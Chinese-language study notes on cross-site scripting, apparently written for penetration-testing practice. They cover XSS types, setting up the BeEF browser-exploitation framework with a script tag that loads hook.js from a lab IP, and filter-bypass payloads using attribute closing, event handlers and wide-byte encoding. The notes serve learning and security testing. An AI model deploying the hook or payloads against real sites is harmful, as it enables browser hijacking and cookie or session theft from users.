XSS学习

认识XSS

XSS(cross-site script),跨站脚本

XSS最大的特点就是可以注入恶意代码到用户浏览器的网页上,从而达到:

  • 劫持用户会话
  • 盗取cookie
  • 钓鱼欺骗
  • 强制弹出广告
  • 提升用户权限
  • 传播跨站脚本蠕虫

等等


XSS类型

跨站脚本攻击,即插入恶意HTML代码并执行

XSS分为三类:

  • 反射型(非持久型)
    数据流向: 浏览器->服务器->浏览器

  • 存储型(持久型)
    数据流向: 浏览器->服务器->数据库->服务器->浏览器

  • dom型
    数据流向: url->浏览器

前两种XSS都会与服务器产生交互,后一种不会产生交互

beef的使用

Beef是浏览器攻击框架的简称,是一款专注于浏览器的渗透测试工具。(XSS利用框架)

劫持浏览器原理

使用beef生成恶意代码,发送给服务器,服务器存储这段代码

客户端访问服务器;之后即可通过控制恶意代码即可实现对客户端的控制

基本配置

1.使用虚拟机打开Kali,进入终端搜索beef路径,

find / -name beef

并cd到目录,执行

./beef

2.执行后,Hook URL为漏洞地址;UI URL为beef界面地址,界面地址账号密码均为beef

3.在主机新建文件夹,写入

<script src='http://192.168.159.128:3000/hook.js'></script>

保存,双击文件执行

4.在beef的Online Browsers界面看到有个主机上线,点击Commands,里面有各种命令

一些命令

网页跳转:

打开

Browser-Hooked Domain-Redirect Browser

输入跳转网址

http://www.baidu.com

再点击右下角的执行,便看到刚才访问的Hook URL的空白页面进行了跳转,转到了百度页面。

Bypass

0x01.无任何过滤

<script>alert('hello')</script>

0x02.输出在属性中

例如输入asdf提交,查看网页源代码后:

<input name=keyword value="asdf">

无任何过滤的情况下,闭合标签后再输入js标签:

"><script>alert('1')</script>

< >给编码了,可直接用HTML事件属性
鼠标移过输入框触发:
‘ onmousemove=alert(1)//

点击输入框触发:
' onclick=alert(1)//
...

0x03.宽字节 XSS

设置的编码类似下面这种:

<meta http-equiv="Content-Type" content="text/html; charset=gb18030" />

和SQL的宽字节注入很像,把第一个字符和转义符当成一个汉字,从而逃逸出引号

学习链接:

https://wizardforcel.gitbooks.io/xss-naxienian/content/2.html